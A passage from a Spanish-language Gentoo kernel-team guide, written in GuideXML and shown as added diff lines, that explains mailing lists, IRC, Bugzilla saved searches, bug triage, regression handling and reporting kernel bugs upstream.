+Deberá igualmente suscribirse a la lista de correo linux-kernel (LKML). Esta
+lista tiene una <e>extremadamente</e> alta actividad. No debe intentar
+leerla completamente, sin embargo eche un vistazo a las cabeceras de los
+mensajes cada uno o dos días, no olvidando los aspectos que le interesen. Es
+también interesante leer los anuncios de release de Linus y la gente de
+-stable, y también los anuncios de release de Andrew Morton -mm para
+mantenerse al día de lo que sucede en la comunidad del núcleo.
+</p>
+
+<p>
+Mantenga la LKML archivada en su propia carpeta en un buen cliente de
+correo. Se volverá muy útil más adelante o cuando esté investigando
+incidencias reportadas por usuarios en el bugzilla de Gentoo. Yo intento
+mantener al menos los 30,000 mensajes más recientes.
+</p>
+
+<p>
+Para suscribirse a la LKML, envíe un correo a
+<mail>majordomo@vger.kernel.org</mail> con lo siguiente en el cuerpo del
+mensaje:
+</p>
+
+<pre caption="Cuerpo del mensaje">
+subscribe linux-kernel SU-DIRECCION-DE-CORREO
+</pre>
+
+<p>
+También le puede interesar leer la <uri link="http://www.tux.org/lkml/">FAQ
+de LKML</uri>. Contiene un montón de información sobre el uso de la lista de
+correo en particular, y de la comunidad del núcleo en general. No espero que
+al comienzo, tenga necesidad de escribir a la LKML, pero esté seguro de leer
+esta FAQ antes de enviarles su primer mensaje.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+Por favor, sea activo en el canal IRC #gentoo-kernel en freenode. El sitio
+web gentoo tiene más información en <uri
+link="http://www.gentoo.org/main/es/irc.xml">los canales IRC</uri>.
+</p>
+
+<p>
+Mientras está aprendiendo, por favor, ¡háganos preguntas!. Esta es la mejor
+forma de aprender. Si no contestamos, pregunte en otro momento. Queremos
+ayudarle, ¡ya que probablemente esto hará que usted nos ayude en el futuro!
+</p>
+
+<p>
+Los principales mantenedores del núcleo son Daniel Drake (usuario de IRC
+<c>dsd_</c>) y Mike Pagano (usuario de IRC <c>mpagano</c>).
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bugzilla en Gentoo</title>
+<body>
+
+<p>
+La mayor parte del mantenimiento del núcleo en Gentoo se realiza en <uri
+link="https://bugs.gentoo.org">bugzilla</uri> - informes de incidencias,
+peticiones de palabras clave, peticiones de características, etc. Asegúrese
+de tener su propia cuenta personal.
+</p>
+
+<p>
+Ahora deberá configurar bugzilla para que le envíe copias de todos los
+mensajes de incidencias relacionadas con el mantenimiento del núcleo. Para
+hacer esto, vaya a <uri
+link="http://bugs.gentoo.org/userprefs.cgi?tab=email">Email Preferences
+</uri> de bugzilla y añada <c>kernel@gentoo.org</c> a su lista de
+seguimiento de usuarios (User Watching). Le suguiero que ponga en marcha un
+filtro de correo que mueva estos mensajes a su propia carpeta.
+</p>
+
+<p>
+Otra característica útil son las búsquedas almacenadas de bugzilla. Puede
+hacer una consulta a bugzilla y salvarla con un nombre definido por el
+usuario para acceder rápidamente más tarde. Los enlaces a estas búsquedas
+almacenadas se muestran en la parte baja de todas las pantallas de
+bugzilla. Para cada una de las siguientes consultas, por favor desplácese
+hasta el final de la lista de incidencias resultante y use la funcionalidad
+"Remember search" para salvar cada una de ellas:
+</p>
+
+<p>
+<uri
+link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=kernel%40gentoo.org&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=kernel&amp;field0-0-0=keywords&amp;type0-0-0=notsubstring&amp;value0-0-0=ebuild&amp;field0-0-1=noop&amp;type0-0-1=noop&amp;value0-0-1=&amp;field0-1-0=status_whiteboard&amp;type0-1-0=notsubstring&amp;value0-1-0=linux-2.4&amp;field0-2-0=keywords&amp;type0-2-0=notsubstring&amp;value0-2-0=tracker">
+Incidencias del núcleo Gentoo</uri>: Esta consulta lista todas las
+incidencias abiertas asignadas a kernel@gentoo.org excepto las entregas de
+ebuild, incidencias de seguimiento e incidencias de la versión 2.4. Esta es
+la lista principal de incidencias en la que estará trabajando.
+</p>
+
+<p>
+<uri
+link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=anywordssubstr&amp;status_whiteboard=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;bug_status=RESOLVED&amp;resolution=UPSTREAM&amp;resolution=---&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=Kernel+regressions&amp;field0-0-0=status_whiteboard&amp;type0-0-0=regexp&amp;value0-0-0=linux-2%5C.6%5C..*-regression">
+Regresiones del núcleo</uri>: Esta consulta lista todas las incidencias de
+regresión abiertas. Una incidencia de regresión es una incidencia que fue
+introducida en una cierta release del núcleo mientras que esa misma
+funcionalidad no daba problemas en versiones anteriores. Por muchas razones,
+las regresiones son la forma más crítica de incidencia.
+</p>
+
+<p>
+<uri
+link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=allwordssubstr&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=watch-linux-bugzilla&amp;keywords_type=allwords&amp;keywords=&amp;emailassigned_to1=1&amp;emailtype1=substring&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=Linux+bugzilla&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">
+bugzilla Linux</uri>: Esta consulta lista todas las incidencias reportadas
+en el bugzilla de Gentoo que han sido escaladas al <uri
+link="http://bugzilla.kernel.org">bugzilla del núcleo</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>El núcleo en bugzilla</title>
+<body>
+
+<p>
+Nosotros escalamos la mayoría de las incidencias al bugzilla del núcleo,
+<uri
+link="http://bugzilla.kernel.org">http://bugzilla.kernel.org</uri>. Deberá
+crearse una cuenta aquí, y de nuevo, poner <c>kernel@gentoo.org</c> en su
+lista de seguimiento de usuarios.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Subversion</title>
+<body>
+
+<p>
+Probablemente, encontrará útil mantener una copia subversion de genpatches
+en local.
+</p>
+
+<pre caption="Haciendo checkout de genpatches desde un SVN anónimo">
+# svn co svn://anonsvn.gentoo.org/linux-patches/genpatches-2.6/trunk genpatches
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Sitios Web</title>
+<body>
+
+<p>
+Aquí se muestra una lista de sitios web de utilidad a los que me verá
+referirme en algún momento.
+</p>
+
+<ul>
+<li><uri link="https://bugs.gentoo.org">bugzilla de Gentoo</uri></li>
+<li><uri link="http://bugzilla.kernel.org">bugzilla del Núcleo</uri></li>
+<li><uri link="http://dev.gentoo.org/~dsd/genpatches">Página principal de
+genpatches </uri></li>
+<li><uri link="http://www.kernel.org">kernel.org</uri></li>
+<li><uri link="http://lxr.linux.no/">LXR Cross Referencer</uri> - útil si va a
+husmear en el código fuente</li>
+<li><uri
+link="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=summary">
+gitweb: El árbol de Linus</uri> - las releases del núcleo se generan desde
+este repositorio</li>
+<li><uri link="http://git.kernel.org">gitweb: índice de los repositorios del
+núcleo</uri></li>
+</ul>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Estilo en el mantenimiento</title>
+
+<section>
+<title>Objetivos generales</title>
+<body>
+
+<p>
+El núcleo es un enorme montón de código base y es uno de los paquetes que
+está presente en el sistema de prácticamente cualquier usuario y además está
+siendo usado en todo momento. Nuestro estilo de mantenimiento puede parecer
+extraño al principio, pero por favor, recuerde que el mantenimiento del
+núcleo es en sí una enorme tarea, y por ello, uno de nuestros principales
+objetivos es minimizar la cantidad de trabajo que tenemos que hacer (y de
+forma global, hacer las cosas más manejables).
+</p>
+
+<p>
+Una forma en la que reducimos nuestra carga de trabajo es intentar
+desviarnos lo menos posible de las releases del kernel: tratamos de hacer
+genpatches tan pequeño como nos sea posible. Cuantos menos parches tengamos
+que gestionar/compatibilizar hacia atrás/adelante, menor trabajo tendremos
+en nuestras manos.
+</p>
+
+<p>
+Otro enfoque que tomamos es la rápida adopción de nuevas releases del
+núcleo. Cada nueva release del núcleo corrige muchas incidencias y añade
+soporte para más hardware, lo que invariantemente afecta la proporción de
+nuestros usarios. En lugar de pasar por las penurias de compatibilizar hacia
+atrás estos cambios en el código, reducimos nuestra carga de trabajo
+recomendando la rápida adopción de estas nuevas releases de las que origina
+este nuevo código. En favor de estos objetivos, tendemos a discontinuar el
+soporte de núcleos viejos en cuanto una nueva release ha sido terminada.
+</p>
+
+<p>
+Lleva bastante más tiempo la corrección de incidencias que el manejo de
+parches. Habiendo tanto código, obtenemos un flujo constante de informes de
+incidencia del núcleo en nuestro bugzilla. Algunas de ellas requieren gran
+cantidad de tiempo/esfuerzo para ser resueltas. Para ello trabajamos de
+forma racional en la resolución de nuestras incidendias.
+</p>
+
+<p>
+Incluso depués de 3 años gestionando incidencias, personalmente sólo estoy
+familiarizado con una pequeña proporción del código base del núcleo. Es
+importante que escalemos estas cuanto antes, puesto que los desarrolladores
+del núcleo saben lo que hacen. Como aprenderá más adelante, no hacemos
+muchas correcciones en Gentoo (downstream).
+</p>
+
+<p>
+Respecto al reenvío de las incidencias citadas arriba a los desarrolladores
+de núcleo (upstream), es importante que mantengamos unas buenas relaciones
+con estos desarrolladores. En general, los desarrolladores upstream están al
+tanto de incidencias reportadas por distros - después de todo, la mayor
+parte de las distribuciones parchean sus releases de núcleo de forma tan
+acusada que nos son fácilmente soportadas por personas fuera de esas
+distribuciones. Yo, recientemente tuve que sacar un parche de un conjunto de
+parches de Mandriva, y sólo por curiosidad, corrí diffstat a sus
+parches. ¡El conjunto de datos fue tan grande que reveló una oscura
+incidencia en el propio diffstat!
+</p>
+
+<p>
+Una forma en la que intentamos ganarnos el respeto de los desarrolladores
+upstream es usando nuestra política de parches: aparte de circunstancias
+excepcionales, no añadimos ningún parche hasta que ellos lo han incluido en
+el árbol de desarrollo oficial. Además, esto nos ayuda a respetar las
+decisiones en el desarrollo upstream y asegura la calidad (y el soporte
+upstream) de nuestro conjunto de parches.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Gestión de incidencias</title>
+
+<section>
+<title>Estrategia básica</title>
+<body>
+
+<p>
+El proceso de corrección de incidencias varía ciertamente de una incidencia
+a otra, sin embargo hay muchas cosas en común. Normalmente y durante el
+proceso suelo hacer lo siguiente:
+</p>
+
+<ul>
+<li>Verificar que no se trata de un error de usuario o de configuración</li>
+<li>Verificar que no es una incidencia específica de la distro Gentoo</li>
+<li>Reunir información detallada para clasificar el problema</li>
+<li>Enviar la incidencia al upstream </li>
+</ul>
+
+<p>
+Con esto en mente, las incidencias a veces siguen un proceso como el
+siguiente:
+</p>
+
+<ol>
+<li>Evaluación inicial</li>
+<li>Recopilación de información (incluyendo las peticiones de test del núcleo)</li>
+<li>Investigación</li>
+<li>Reportando al upstream</li>
+</ol>
+
+</body>
+</section>
+
+<section>
+<title>Proceso inicial</title>
+<body>
+
+<p>
+Un usuario informa de una incidencia en el bugzilla de Gentoo. Un agente de
+incidencias reasigna la misma a <c>kernel@gentoo.org</c>.
+</p>
+
+<p>
+Usted recibe un mensaje por correo electrónico notificando de esta nueva
+incidencia. En primer lugar realiza unas mínimas comprobaciones iniciales
+sobre la incidencia: ¿es un error obvio del usuario? ¿Es un duplicado de
+otra incidencia que ya ha sido reportada?
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Recopilación de información</title>
+<body>
+
+<p>
+El informe de incidencia inicial normalmente adolece de poca información, no
+por culpa de la persona que la ha reportado. Ejemplos de preguntas comunes
+que puede realizar en respuesta al informe inicial, incluyen:
+</p>
+
+<ul>
+<li><b>¿Qué núcleo está usando?</b> Esta es información importante que se omite
+frecuentemente en el informe inicial.</li>
+<li><b>¿Ha probado con otras versiones del núcleo?</b> En algunas ocasiones, el
+usuario sabe que es una incidencia con larga existencia, esta información
+puede ser de utilidad.</li>
+<li><b>¿Existe algún núcleo previo en el que haya funcionado?</b> Aquí, usted
+básicamente está preguntando "¿se trata de una regresión?"</li>
+<li><b>¿Puede usted reproducirlo?</b> Algunas veces lo usuarios anexan volcados
+de una caída sin indicación de si fue una única caída después de años de
+estabilidad, o si realmente ocurre poco después del arranque o si saben una
+forma de provocar la caída.</li>
+</ul>
+
+<p>
+Naturalmente existen muchas otras preguntas que podrían ser realizadas en la
+mayoría de los informes de incidencia, pero muchos de ellos pueden ser
+contestados pidiendo información de ciertos comandos o ciertos
+ficheros. Normalmente pido información de los siguientes:
+</p>
+
+<ul>
+<li><b>dmesg</b> - éste vuelca el log del núcleo del arranque actual a la
+consola. Contiene todo tipo de información interesante sobre el hardware y
+los drivers, así como información sobre cualquier error al nivel del núcleo
+que pueden haber ocurrido.</li>
+<li><b>.config</b> - algunas veces es útil comprobar exáctamente cómo el usuario
+ha configurado su núcleo.</li>
+<li>Salida de <b>lsmod</b> - cuando el usuario ha construído ciertos componentes
+como módulos ésta es la forma de verificar lo que se ha cargado.</li>
+<li>Salida de <b>lspci</b> - ésta ofrece una útil visión general del hardware
+del sistema y puede ser usado para tener una idea de que drivers debería
+estar cargando el usuario.</li>
+</ul>
+
+<p>
+Después de pedir un poco de información, podría ocurrir que se diera cuenta
+de que necesita pedir algo más. Eso esta bien, simplemente coloque un nuevo
+comentario con la nueva petición.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Consideraciones sobre las versiones</title>
+<body>
+
+<p>
+Normalmente aceptamos informes de incidencia de 2 versiones del núcleo al
+mismo tiempo:
+</p>
+
+<ol>
+<li>El núcleo más reciente con palabras clave stable</li>
+<li>El núcleo más reciente con palabras clave testing</li>
+</ol>
+
+<p>
+Por ejemplo, en el momento de escribir este documento, el núcleo estable más
+reciente es 2.6.20. La versión 2.6.21 acaba de ser publicada, y ya está
+disponible en el árbol testing, sin embargo necesita sustancialmente más
+tiempo de pruebas antes de que estemos lo bastante seguros para marcarlo
+como estable. A lo largo de este tiempo aceptaremos incidencias para la
+última release gentoo-sources-2.6.20, y la última release
+gentoo-sources-2.6.21.
+</p>
+
+<p>
+Incluso si un usuario crea una incidencia en un núcleo actualmente
+soportado, a menudo le pedimos que lo pruebe con la última versión de
+desarrollo del núcleo (la 2.6.22-rc1 en el ejemplo de arriba). ¿Porqué?,
+estamos tratando de mover esta incidencia al upstream tan pronto como sea
+posible, y como desarrollador del núcleo, simplemente no tiene mucho sentido
+diagnosticar nada en un código base que no es el actual.
+</p>
+
+<p>
+Con esto en mente, y el ejemplo de arriba de las versiones actuales, hay
+algunas situaciones que nos podemos encontrar:
+</p>
+
+<ul>
+<li>Un usuario puede informar de una incidencia con la 2.6.19 o posterior. Estos
+núcleos no están soportados. En primer lugar se les deber pedir que lo
+reproduzcan en cualquier núcleo que tenga soporte (déles la opción de la
+2.6.20 o la 2.6.21), y si la incidencia todavía existe en estas versiones,
+pídales que prueben con la última versión de desarrollo (2.6.22-rc1).</li>
+<li>El usuario puede reportar una incidencia con la 2.6.20 (la versión estable
+del núcleo actualmente soportada). Pídales que prueben la actual versión
+testing (2.6.21), y si la incidencia persiste en esta versión, pídales que
+que prueben con la última versión de desarrollo (2.6.22-rc1).</li>
+<li>El usuario puede reportar una incidencia con la 2.6.21 (la versión testing
+del núcleo actualmente soportada). Pídales que prueben a reproducirla con la
+última versión de desarrollo del núcleo (por ejemplo la 2.6.22-rc1).</li>
+</ul>
+
+<p>
+2 semanas después de la publicación por parte del upstream de un núcleo de
+'producción' hay un perido en el que no hay versión de desarrollo del núcleo
+disponible. Por ejemplo la 2.6.21 acaba de salir y la 2.6.22-rc1 no será
+publicada hasta por lo menos una semana. En este caso, puede saltarse el
+paso en el que le pida al usuario que pruebe con la última versión de
+desarrollo del núcleo -- reproduciendo la incidencia en la 2.6.21 es
+suficiente para pedir a los desarrolladores upstream que trabajen en ello.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Investigando la incidencia</title>
+<body>
+
+<p>
+Cuando crea que dispone de toda la información acerca del problema, puede
+intentar encontrar otros informes acerca de la misma cuestión. En algunos
+casos puede hacer esto sin pedir al usuario que pruebe con los nuevos
+núcleos.
+</p>
+
+<p>
+Normalmente sucede que la incidencia ya ha sido informada al upstream y que
+todavía haya discusión acerca de cómo corregirla o quizas un parche ya esté
+disponible.
+</p>
+
+<p>
+Esta parte es símplemente de sentido común: ponga algunas palabras en
+google. Si dispone de un mensaje de error distinguible, búsquelo. Por otro
+lado busque "linux 2.6.20 sky2" si está investigando el funcionamiento de
+una regresión en la 2.6.20 con el driver sky2.
+</p>
+
+<p>
+Puede además consultar el bugzilla de linux con similares términos de
+búsqueda y usar su cliente de correo para buscar en sus archivos locales
+LKML.
+</p>
+
+<p>
+Si encuentra algo, magnífico, haga referencia de ello en la
+incidencia. Puede incluso haber encontrado la solución al
+problema. Ciertamente no es común encontrar referencias para búsquedas
+estándar.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>vanilla-sources</title>
+<body>
+
+<p>
+Ocasionalmente, tenemos informes de incidencia de personas usando
+<c>vanilla-sources</c>. El hecho de aceptar o no estas incidencias es
+cuestión de juicio. Se ofrece vanilla-sources para ayudar a las pruebas,
+pero no está soportado: Si está roto, nosotros no lo arreglamos.
+</p>
+
+<p>
+Una vez dicho esto, si alguien informa de una incidencia en
+vanilla-sources-2.6.21.1 (la última versión upstream) seguramente esté
+presente también en la última release gentoo-sources-2.6.21, por lo tanto
+tiene sentido aceptar la incidencia y proceder con la diagnosis usual. Sin
+embargo, si cree que gentoo-sources puede tener un parche para solucionarlo,
+entonces no dude en recordarles que vanilla-sources no tiene soporte y que
+necesitan reproducirlo en gentoo-sources antes de que podamos echarle un
+vistazo.
+</p>
+
+<p>
+En algunas ocasiones, el usuario informa de regresiones -rc del núcleo, por
+ejemplo, informan de incidencias presentes en vanilla-sources-2.6.22-rc1
+pero no en la 2.6.21. En estos casos puede cerrar la incidencia en ese
+momento: Debe agradecer al usuario por informar de esta cuestión pero haga
+notar que deben informar de la misma al upstream en el bugzilla del núcleo
+directamente. gentoo-sources no publica releases -rc.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Módulos binarios y fuera-de-núcleo</title>
+<body>
+
+<p>
+Nos podemos encontrar, mientras recopilamos información, que el usuario esta
+usando módulos/drivers del núcleo que no son parte de los fuentes oficiales
+del núcleo. Un ejemplo de este tipo de paquetes podría ser
+<c>x11-drivers/nvidia-drivers</c>.
+</p>
+
+<p>
+De nuevo, estas situaciones requieren de algún criterio. No hay ninguna
+forma de que podamos dar soporte a núcleos que han sido modificados en
+tiempo de ejecución de esta forma, por lo tanto es perfectamente razonable
+pedir al usuario que reproduzca la incidencia sin cargar los módulos
+externos (y pedirle igualmente que <e>no</e> se hayan cargado en ningún
+momento desde el arranque, al contrario que arrancar y cargar y descargar
+los módulos, y reproduciendo entonces las incidencias.
+</p>
+
+<p>
+Una vez dicho esto, puede concluir en ocasiones que la incidencia existirá
+de todas formas, en cuyo caso no hay necesidad de pedirles que la
+reproduzcan sin los módulos externos. Por ejemplo puede haber encontrado un
+informe idéntico en un núcleo non-tainted (no-modificado) en LKML.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Gestión de las regresiones</title>
+<body>
+
+<p>
+Si llega a la conclusión de que una incidencia es una regresión, hay algunas
+cosas extra a considerar. En primer lugar, debe etiquetarla como tal (lea
+sobre el campo "Status Whiteboard" más adelante en este documento). En
+segundo lugar, deber darse cuenta de que la utilidad de gestión del código
+fuente Linux (git) tiene una útil característica bisectiva que puede
+identificar el commit exacto que causó la regresión. Esto hace más fácil la
+resolución de la incidencia.
+</p>
+
+<p>
+Sin embargo, realizar una bisección es un proceso que consume bastante
+tiempo: Para identificar una regresión entre las versiones 2.6.x y 2.6.x+1
+normalmente requiere que construya y pruebe aproximadamente 13 núcleos
+distintos. Por lo que, a menos que observe que el usuario está
+particularmente interesado, debe agotar otras opciones en primer
+lugar. Puede reenviar la incidencia al upstream y después de algunos días,
+si no ha habido ningún progreso, pregúnteles si están considerando hacer una
+bisección.
+</p>
+
+<p>
+Tengo algunas instrucciones ya escritas acerca de cómo hacer una bisección,
+que son fáciles de seguir. Si va a sugerir una bisección, le recomendaría
+que diera un enlace a <uri
+link="http://www.reactivated.net/weblog/archives/2006/01/using-git-bisect-to-find-buggy-kernel-patches/">
+este artículo</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Si el usuario no responde</title>
+<body>
+
+<p>
+Es desafortunado, pero común, los usuario se vuelven mudos y no dan la
+información extra que ha solicitado. Como no nos pagan por arreglar estas
+cosas y tenemos mucho trabajo, lo mejor es descartar estas incidencias.
+</p>
+
+<p>
+Después de 14 días, si el usuario no ha respondido a mi petición más
+reciente, cierro la incidencia como NEEDINFO con un comentario pidiendo que
+reabran la incidencia cuando tengan la información. A menudo esto hace que
+el usuario entregue lo solicitado.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Informando de incidencias al upstream</title>
+
+<section>
+<title>Visión general</title>
+<body>
+
+<p>
+Ha llegado a la conclusión de que parece una incidencia del núcleo, ha
+recopilado la información que lo refleja, y es reproducible en el último
+núcleo de desarrollo. El siguiente paso es reportar la incidencia al
+upstream.
+</p>
+
+<p>
+Hay 2 formas de hacer esto: pidiendo al usuario que informe de la incidencia
+en el bugzilla de núcleo y realizándolo usted mismo, enviando un correo a
+las listas y mantenedores correspondientes.
+</p>
+
+<p>
+Es muy importante que se lo pongamos fácil a los desarrolladores
+upstream. Cuando informe de incidencias, deje bien claro qué versiones están
+afectadas, mencionando la que no se han modificado (normalmente podemos
+decir "it's present in 2.6.19-gentoo but is also reproducible on unmodified
+2.6.20-rc5").
+</p>
+
+<p>
+Ya que el procedimiento incluye un enlace a la incidencia en el downstream,
+asegúrese de que toda la información es presentada al upstream - no espere
+que ellos hagan clic y lean toda la incidencia del downstream que contiene
+alguún grado de ruido de cualquier forma.
+</p>
+
+<p>
+El procedimiento esbozado abajo incluye la modificación del campo "status
+whiteboard", que es explicado más adelante en este documento.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Informando de incidencias en el bugzilla del núcleo</title>
+<body>
+
+<p>
+El bugzilla del núcleo es el primer mecanismo que usamos para informar de
+incidencias al upstream. Realmente, el modo en el que lo hacemos es intentar
+que el usuario cree el informe de la incidencia y nosotros hacemos el
+seguimiento. Este es el proceso que sigo:
+</p>
+
+<ol>
+<li>Marque la incidenca Gentoo como UPSTREAM y añada "linux-bugzilla-pending" al
+campo "status whiteboard". Cuando haga esto, añada un comentario preguntando
+al usuario que informe de la incidencia al upstream. Deles la URL del
+bugzilla del núcleo, pídales que pongan la URL de la incidencia en la
+incidencia de Gentoo cuando lo hayan hecho, deles algunas indicaciones de lo
+que deben incluir en su informe de incidencia (<uri
+link="https://bugs.gentoo.org/show_bug.cgi?id=164802#c19">por
+ejemplo</uri>).</li>
+<li>Cuando el usuario responda con la URL de la incidencia en el upstream,
+coloque esta URL en el campo URL de la incidencia de Gentoo. Elimine
+"linux-bugzilla-pending" del campo "status whiteboard", y añada
+"watch-linux-bugzilla". Añada un pequeño comentario indicando que estaremos
+pendientes de la incidencia en el upstream.</li>
+<li>Vaya al informe de incidencia en el upstream. Lealo completamente. ¿Olvidó
+el usuario alguna información importante para su descripción? En este caso
+añada un comentario con esa información. Si hay adjuntos que sean de
+utilidad en la incidencia en Gentoo que el usuario no haya anexado a la
+incidencia, añádala usted mismo con una pequeña descripción.</li>
+<li>Añada kernel@gentoo.org a la lista CC. Si el usuario no indica la URL a la
+incidencia en Gentoo en el informe de incidencia de upstream, añada un
+comentario con la URL.</li>
+</ol>
+
+<p>
+Si el usuario no contesta a la petción de abrir la incidencia en el
+upstream, desestime la incidencia como lo haría para otros casos sin
+respuesta. Debido a que cerró la incidencia como UPSTREAM, se caerá de la
+lista de todas formas -- por lo que se continuará el proceso cuando
+respondan con la URL de la incidencia en el upstream. La palabra clave
+linux-bugzilla-pending nos permite medir cuántas incidencias se pierden
+cuando alcanzan este punto, y nos permite hacer un seguimiento.
+</p>
+
+<p>
+Cuando la incidencia sea actualizada en el upstream, kernel@gentoo.org
+obtendrá el correo con este cambio, y como usted tiene esa dirección el el
+seguimiento de usuarios, podrá verlo también. Cuando la incidencia sea
+corregida, reabra la incidencia en Gentoo con un corto resumen de la
+solución, eliminando la etiqueta "watch-linux-bugzilla".
+</p>
+
+<p>
+Si alguien cierra la incidencia en el upstream sin una solución (por ejemplo
+el usuario no respondió a la petición de información, o la incidencia se
+marcó como inválida), refleje estos cambios en la incidencia en Gentoo:
+marque esta incidencia como CLOSED y elimine la etiqueta
+"watch-linux-bugzilla".
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Enviando informes de incidencia por correo al upstream</title>
+<body>
+
+<p>
+Será escrito en el futuro. Esto es usado como caso extremo en el que la
+incidencia en el upstream no está teniendo la atención que necesita.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Otras cuestiones de bugzilla</title>
+
+<section>
+<title>Privilegios de acceso</title>
+<body>
+
+<p>
+Este documento incluye referencias a la manipulación de incidencias en el
+bugzilla de Gentoo (abrir/cerrar/reabrir/reasignar/etc). A menos que sea un
+desarrollador de Gentoo o sea un usuario que ha informado de una incidencia,
+realmente no tendrá acceso a esto.
+</p>
+
+<p>
+Si cierta acción ha de ser tomada sobre una incidencia en la que usted no
+tiene permisos, debe preguntar en el canal #gentoo-kernel de IRC para que
+alguien realice la operación. Si no hay respuesta, deje un simple comentario
+sobre la incidencia pidiendo el cambio, por ejemplo. "please close this bug
+as NEEDINFO"
+</p>
+
+<p>
+Sé que esto es una lata, pero es sólo temporal. Una vez que haya realizado
+algunas contribuciones a las incidencias de esta forma, incrementaré sus
+permisos de acceso a bugzilla para que pueda realizar estas tareas ustes
+solo.
+</p>
+
+<p>
+El otro aspecto de este problema es la manipulación de incidencias en el
+bugzilla del núcleo upstream. Se necesita hacer esto más que en las bugs de
+Gentoo. Yo personalmente tengo acceso de desarrollador la bugzilla upstream,
+por lo que si se necesita hacer algo (clausura de
+incidencias/reasignación/etc), persígame en IRC. En el futuro podríamos ver
+la posibilidad de tener a más gente con accesoo de desarrollador a esta
+plataforma.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Status Whiteboard</title>
+<body>
+
+<p>
+Bugzilla tiene un campo de texto de una sola línea llamado "status
+whiteboard" para cada incidencia, en el que es usted libre de poner
+cualquier cosa. Yo lo uso como cierta forma de etiquetado.
+</p>
+
+<p>
+Si una incidencia está presente en la 2.6.20, pero corregida en la 2.6.21 y
+la corrección no se conoce aún, yo pongo "linux-2.6.21" en el campo "status
+whiteboard". Esto está efectivamente etiquetando la incidencia diciendo
+"este problema desaparece cuando la versión 2.6.21 se publique".
+</p>
+
+<p>
+Si la incidencia es una regresión de la 2.6.21, yo escribo
+"linux-2.6.21-regression" en el campo "status whiteboard". De hecho esto se
+usa en una de las búsquedas almacenadas mencionadas anteriormente. Si la
+incidencia es una regresión pero la versión que introdujo la incidencia es
+desconocida (por ejemplo, funciona en la 2.6.16, pero en la 2.6.20 no), yo
+coloco "linux-2.6.??-regression" en el "whiteboard". Para regresiones,
+también prefijo el campo "summary" con (por ejemplo) <c>[2.6.21
+regression]</c>, de este modo las cosas se ven rápidamente en los resultados
+de la búsqueda.
+</p>
+
+<p>
+Si la incidencia ha sido reportada upstream, coloco la URL de la incidencia
+en el campo URL, y "watch-linux-bugzilla" en el campo "status
+whiteboard". Esto se usa en una de las búsquedas almacenadas.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Resolución de incidencias</title>
+<body>
+
+<p>
+Cuando se marca una incidencia como resuelta pero no está arreglada en
+portage (es decir, está pendiente de que se añada un parche a genpatches o
+pendiente de la siguiente release de genpatches/gentoo-sources release),
+añadimos la palabra clave bugzilla <c>InSVN</c>.
+</p>
+
+<p>
+Se cierra entonces la incidencia con un mensaje apropiado cuando una nueva
+release del núcleo (incorporando la corrección) se añade la árbol de
+portage.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+
+<chapter>
+<title>genpatches y linux-stable</title>
+
+<section>
+<title>Criterio de envíos</title>
+<body>
+
+<ul>
+<li>Esta sección esta pensada para describir el proceso únicamente a
+desarrolladores del núcleo (en lugar de para los futuros), pero si está
+realmente interesado, no dude en preguntar en IRC si quisiera enviar un
+parche.</li>
